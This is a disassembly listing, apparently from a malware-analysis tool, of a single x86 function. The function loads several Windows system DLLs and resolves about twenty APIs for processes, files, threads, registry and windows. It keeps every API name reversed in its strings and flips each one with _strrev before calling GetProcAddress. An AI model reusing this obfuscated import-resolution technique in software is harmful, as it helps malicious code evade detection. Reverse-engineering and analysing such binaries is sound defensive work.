Function at 0x4028b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x30c
push ebx
push ebp
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], dl
mov byte [esp + 0x218], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
mov byte [esp + 0x114], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x218]
lea edx, [esp + 0x114]
push ecx
push str._skernel32.dll
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
mov edi, str.sserddAcorPteG
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
mov ebx, dword [sym.imp.MSVCRT.dll__strrev]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40e8ac], eax
mov edi, str.AsgnirtSevirDlacigoLteG
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8a8], eax
mov edi, str.ssecorPnepO
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8a0], eax
mov edi, str.tsriF23ssecorP
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e89c], eax
mov edi, str.txeN23ssecorP
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e898], eax
mov edi, str.AxetuMetaerC
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e894], eax
mov edi, str.AemaNeliFeludoMteG
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e890], eax
mov edi, str.AeliFetaerC
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e884], eax
mov edi, str.eliFdaeR
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e880], eax
mov edi, str.eliFetirW
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e87c], eax
mov edi, str.AeliFypoC
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e878], eax
mov edi, str.AeliFtsriFdniF
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e874], eax
mov edi, str.AeliFtxeNdniF
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e870], eax
mov edi, str.daerhTetaerC
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e86c], eax
mov edi, str.AeldnaHeludoMteG
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40e888], eax
lea eax, [esp + 0x218]
push eax
push str._sAdvapi32.dll
lea ecx, [esp + 0x11c]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
mov edi, str.AxEyeKnepOgeR
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8b8], eax
mov edi, str.AxEeulaVyreuQgeR
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8b4], eax
mov edi, str.AeulaVmunEgeR
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8b0], eax
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x118]
push str._sDbghelp.dll
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
mov edi, str.eliFroFeerThcraeS
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [0x40e8ac]
mov dword [0x40e8a4], eax
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x118]
push str._sUser32.dll
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
mov edi, str.swodniWmunE
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebx
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop edi
pop esi
pop ebp
mov dword [0x40e88c], eax
pop ebx
add esp, 0x30c
ret